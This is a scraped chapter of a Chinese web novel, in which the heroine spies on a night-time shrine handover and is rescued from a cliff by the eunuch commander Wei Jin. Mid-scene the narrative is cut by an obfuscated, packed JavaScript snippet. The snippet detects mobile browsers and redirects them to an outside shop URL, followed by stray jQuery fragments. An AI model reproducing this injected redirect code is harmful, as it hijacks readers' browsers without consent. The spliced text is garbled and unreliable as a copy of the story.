默认冷灰
24号文字
方正启体

14. 下元节

作者:云甜一本书字数:K更新时间:
    下元节,这个月十五。


    以月影墨书写,想必是封密函。


    白日里闻缨误入顾侯祠,也说在里面看见了人影。


    不知,是否与这纸笺上的行动有关。


    闻鸳仔细将它夹回原处,按照方才的顺序位置摆好满桌公文,蹑手蹑脚退了出去。


    临近下元,先前归乡探亲的丫头家丁陆陆续续回来,从各自家里带了些特色吃食玩意儿,一半留待下元节府上祭祖,一半给闻鸳尝个新鲜。


    依规矩,节日祭祀当由主母打点,闻鸳不会,耐心学着做。所幸卫进不看重礼法,从前府上祭祖,都是稀里糊涂地过。无人知晓他乡关何处,父母名谁,供果摆上香案,牌位上却空无一字。


    闻鸳不探问,只在木牌补上“先祖之灵位”一行字,供在满台瓜果香烛后。


    不提“卫”字,是怕连这名姓也是皇帝所赐。


    宦臣入西厂,六亲缘尽,孑然一身,总不算太光采。


    她不愿在伤口上撒盐。


    下元节前夕,京师又飘雪,比冬初那场更大。细雪纷纷覆窗台,闻鸳一觉醒来,竟连窗也推不开。天色尚暗,明月带几个丫头来扫雪,笤帚沙沙作响,她在屋内帮忙掌灯。


    缱绻一段烛光,映得惨淡白霜成了鹅黄。


    “明日下元节,督公一定回来陪夫人。”


    听明月如此说,闻鸳恍然想起,卫进已有十余日不曾回府。丫头们怕她独守空房自怨自艾,变着法儿地给她解心宽。


    她笑笑没应声,也找了块砚台,暴殄天物,拿来清理积雪。


    明日下元,密函中所说的子时,就是今晚。


    大雪封山,不知那上头约定的事,还能否成行。


    入夜后,城中起了风。将十五,月如银盘高悬,与满地残霜交相辉映,这夜显得格外明亮。


    闻鸳等丫头们都睡下,换了身便于活动的利落装束,把提前备下的绳子搭上院墙。


    卫府守卫松散,且无人巡夜,是以她踩墙爬了许久,也没被发现。好不容易爬到墙头,一阵寒风过,方觉出不对劲。


    出来时仅带了这条绳子,做好爬上来的准备,竟忘了还得跳下去。


    院墙足有两人高,她坐在上头骑虎难下,四处打量着,竟在角落里寻到一垛干草。


    府上用炭用柴,又不铺草席垫子,深冬时节,哪来的干草?


    天太冷了,她顾不上探寻这东西是何来历,沿着狭窄墙头艰难匍匐过去。心一横,眼一闭,纵身跃下。


    草堆极厚,将她半个人没了进去,不曾磕着碰着。


    她从干草里爬起来,掸掸衣服上沾的草屑泥土,牵走了恰拴在府外槐树下的一匹快马。


    为掩人耳目,她特意绕小道而行,自更陡峭的北坡上山。马儿走到一半就没了路,只好手脚并用,从岩石间攀援上山。


    她憋住一口气,手脚并用,爬了不到三分之一的高度便累得气喘吁吁,瘫在一块较为平坦的山石上望天。既不愿面对上方看不到头的峰峦,也不敢看下头的万丈深渊,单是兔子似的趴在那儿,耷拉着耳朵后悔。


    到底作的什么孽。


    可想到柳夕,柳相一家,还有张侍郎母子,就还能咬紧牙关,走完剩下这段路。


    深闺女子,她怕黑、怕高、怕摔,可她还是要爬上去。


    因为有人死得不明不白,有人为公义天理长跪奉天门外,有人三代忠良,却最终抱着“丹心报国”的匾额投了湖……生为天下计,她不能坐视不理。


    月明星稀,终于爬到山顶,算算,已近子时了。


    顾侯祠在山间平台,她所在之处,正好能自上而下尽收眼底。她随便捡根树枝,于断崖边划拉处一块地方,蹲伏在草木之间。


    山中苦寒,她裹紧斗篷,瑟缩起身子,仅露双眼睛在外头,注视着那间祠堂。


    半晌,隐有脚步声传来,没见到人影,却分明听见木门吱呀响,是有人进去了。


    她小心翼翼挪了挪,抻着脖子探看。须臾,竟有几只木头箱子凭空从祠堂内飘了出来。


    这回她看得真切。那木头箱子似浮于空中,而其下雪地之上有人影脚印。这几个家伙穿着夜行衣,夜幕中隐去身形,但白雪照影,从来无可遁形。


    距离太远,她不知那箱子里头装的何物,只数出有六箱,每箱需三四个人合力才可搬运。


    肯冒雪前来送走的东西,总不会是几箱石头罢。


    闻鸳想再凑近些,不料脚下一滑,踩落碎石子几块,砸中其中一人的脑袋。


    “什么人!”


    那家伙当即高喝,一队人手全亮了兵刃。


    寒芒灿灿,晃得人睁不开眼。


    闻鸳心道不妙,起身要逃,却毫无防备被扯入一人臂弯。她下意识想叫,那人及时捂住她的嘴,单手把她抱起来,塞进旁边树后的阴影里。


    不多时,窸窸窣窣的脚步越来越近,她伸出脑袋瞧,又被人反手按了回去。


    眼前只剩黑漆漆的树干,她想寻个缝隙看清自己的处境,却听来人毕恭毕敬喊了声:


    “参见督公。”


    于是刹那寒彻骨血,动也不能动。


    卫进。


    那人没开口,闻鸳不知他做了什么。须臾,几人称是退下,她也被从树后拉了出来。


    今日卫进穿的是颜色鲜亮的飞鱼服,九尺厚白氅整齐裁在地面之上,仿若卷来漫天银河,北风过,吹落一地皎洁月光。


    即见闻鸳,他先蹙眉打量一番,而后忍俊不禁,抬手擦了擦她脸上沾的泥。


    闻鸳缩了下,很是警惕向后退远几步。


    “别动。”


    那人语声很轻,生怕吓着她。又向她探了手,示意她过来。


    闻鸳攥紧袖口,几番鼓起勇气,干哑的喉咙终于能发出声:


    “我什么都没看见。”


    这是实话。


    除了几个黑衣人,和几个箱子,她的确什么也不知道。被抓了个正着,没什么好辩驳隐瞒,卫进大抵也猜到,她是看了那封密函来的。


    左右,逃不掉了。


    可话一出口,气势便落了下风。


    那人抿唇忍笑,没忍住,干脆低下头,不笑给她看。


    闻鸳觉得屈辱。


    虽说是她不够谨慎出了纰漏,但他也不能,至少不该,不打不杀,反来笑她。


    “你,”她憋红了脸,再憋出一句,“要杀要剐,悉听尊便!”


    卫进佯咳几声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450279|201167||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    止住笑,温声唤她:


    “先过来。”


    闻鸳摇头,下意识撤了一大步,那人神色却骤然冷了。


    “别动。”


    他说得很急,视线始终紧紧盯她脚下。


    “后面危险,先过来。”


    闻鸳脊背蓦然一凉,方知冷汗早已浸透了衣裳。


    她欲回头看,却听那人道:


    “不必回头。”


    他半是哄,半是恳求,心急如焚。


    “来找我。”


    闻鸳不知背后究竟有什么,非要看个清楚。


    “当心!”


    卫进焦喊。


    她回过神,却为时已晚。所踩那处断崖本就狭窄,一脚踏空便是粉身碎骨。


    死定了。


    她紧闭双眼不敢看,只觉身体猛地撞到了什么,很疼,但还活着。身下不是冰冷的大地,而是浸透冷香的温热胸膛。


    是有人牢牢把她护在怀里,重重摔向大地。


    万幸,他们没有跌进山谷,被盘山的路拦住,捡回一条命。


    她睁开眼睛,模糊视线渐渐清晰,一只绣工精巧的四爪龙在夜色中浮现。


    卫进的飞鱼服。


    那人侧头呕出一口鲜红,手臂仍紧抱着她,她费了好大力气才推开。


    “卫进!”她唤了他的名,手忙脚乱扶他在怀中,“你怎么样!”


    那人偎着她低咳,唇角血线淋漓,染红了她的衣襟。


    抬眼望她,说不出话,却让她听见,他在疼。


    “坚持一下,”闻鸳解下披风盖在他身上,“我去喊人。”


    “别……”


    他挣扎着扼住她的手,阖眼挨过胸中一阵剧痛。


    “别声张……”


    运箱子的是他的人,听命于西厂,断不会对他不利。不声张,自然不是为了他自己。


    是藏闻鸳。


    “可我救不了你……”


    山风挟雪迷了眼睛,眼泪止不住,闻鸳只能反复用衣袖擦去他的血。仿佛奢望如此,便可换回他的命。


    但山风依然冷,他的血一直在淌。


    那件雪白大氅满目疮痍,领口处已全然辨不出原本的颜色。


    绝望二字如何写,闻鸳今日知。


    她不能眼睁睁看他在这里等死。


    于是拼尽全力把人背在身上,艰涩带他离开。


    可卫进身形太高,她的力气太微渺,走出两步便会压垮了她,两人一起跌在地上。她不肯停下,再背起来,继续走。任凭石子割伤手掌,杂草刺破脸颊。


    雪地里深深浅浅两行脚印,鲜红血痕蜿蜒一地,已分不清究竟是卫进,还是她。


    数不清第多少次摔倒,她体力耗尽,全靠心底一口气撑着。可试了几次,再站不起来。


    “没事,没事……”她喃喃低语,不知是说给卫进听,抑或给自己打气,“我一定能,带你走出去……”


    倏尔,那人搭在她肩头的手臂慢慢移开,压在身上的重量陡然消失。


    “怎么了?”


    她想问他是不是累了,或是哪处伤口痛。


    他不理,只是不要她扶。


    分明痛到额头青筋暴起,却一声不吭。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)